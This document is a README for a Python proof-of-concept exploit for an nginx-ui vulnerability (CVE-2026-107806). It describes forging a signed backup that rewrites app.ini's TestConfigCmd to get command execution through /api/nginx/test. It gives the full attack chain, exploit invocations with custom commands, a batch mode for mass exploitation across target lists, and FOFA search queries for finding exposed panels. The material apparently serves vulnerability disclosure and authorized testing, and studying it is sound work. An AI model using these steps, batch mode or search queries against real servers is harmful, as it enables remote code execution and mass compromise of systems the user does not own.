
Python PoC for CVE-2026-107806: exploits nginx-ui backup restore to overwrite app.ini and achieve authenticated RCE via TestConfigCmd. Supports check, exploit, and batch modes.
Python 3 PoC for CVE-2026-107806 — 0xJacky/nginx-ui — CWE-94 — forged portable backup overwrites app.ini → TestConfigCmd → POST /api/nginx/test.
| Field | Value |
|---|---|
| CVE | CVE-2026-107806 |
| Affected | >= 2.3.8, < 2.5.0 |
| Fixed | 2.5.0 (commit a467ed6) |
| CVSS 4.0 | 9.4 Critical (PR:H — admin JWT required) |
| GHSA | GHSA-p393-cf76-4jmr |
| Verify marker | POCBIT-107806-OK |
Not the same as CVE-2026-42238 (unauthenticated install-window restore); fixed in 2.3.8 auth on restore, but post-auth trust on attacker-supplied AES key remained until 2.5.0.
GET /api/backup — download encrypted backup; read X-Backup-Security (key_b64:iv_b64).nginx-ui.zip, patch app.ini → [nginx] TestConfigCmd.manifest.json hashes, re-sign manifest.sig (nginx-ui-backup-signing-v1: + AES key).POST /api/restore — restore_nginx_ui=true, security_token, malicious zip.POST /api/nginx/test — runs TestConfigCmd via /bin/sh -c.| File | Purpose |
|---|---|
poc.py | check / exploit / batch |
README.md | This document |
requirements.txt | Python deps |
targets.example.txt | Sample list format (copy to targets.txt locally) |
Do not commit real scan lists, JWTs, or result JSONL (see .gitignore).
pip install -r requirements.txt
# Fingerprint (no token → install lock only)
python poc.py -u http://127.0.0.1:8080 --mode check
# Version + vuln range (needs admin JWT)
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode check --json
# Full exploit (default cmd: printf marker + id)
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode exploit --insecure
python poc.py -u http://127.0.0.1:8080 --token 'eyJhbG...' --mode exploit --cmd "id 2>&1"
# 2FA admin: add secure session from login response
python poc.py -u http://127.0.0.1:8080 --token '...' --secure-session '...' --mode exploit
# Mass (url|token per line)
python poc.py --list targets.txt --mode exploit -j 5 --insecure
List format
https://panel.example
https://panel.example|JWT_HERE
https://panel.example|JWT|SECURE_SESSION_ID
Outputs: cve_2026_107806_exploit.jsonl, hits.txt, exploited.txt.
Login uses encrypted params on /api/login — obtain JWT from browser DevTools (Application → token / Authorization) or your own session.
Official validation: nginx-ui 2.3.11 in Docker uozi/nginx-ui (pin an < 2.5.0 image tag in lab). Run PoC only on instances you own.
nginx-ui admin panel (then confirm version with authenticated check):
title="Nginx UI" || body="nginx-ui" || body="/api/install"
header="Server" && body="Nginx UI"
port="9000" || port="8080"
FOFA does not prove vulnerable version — use --mode check with a valid admin token.
Authorized testing only.
CVE-2026-107806 — nginx-ui 2.3.8–2.4.x auth RCE via forged backup restore (TestConfigCmd). PoCbit PoC: GET /api/backup, tamper app.ini, POST /api/restore, POST /api/nginx/test. check/exploit, batch url|JWT. Fixed 2.5.0. https://pocbit.org/pocs/cve-2026-107806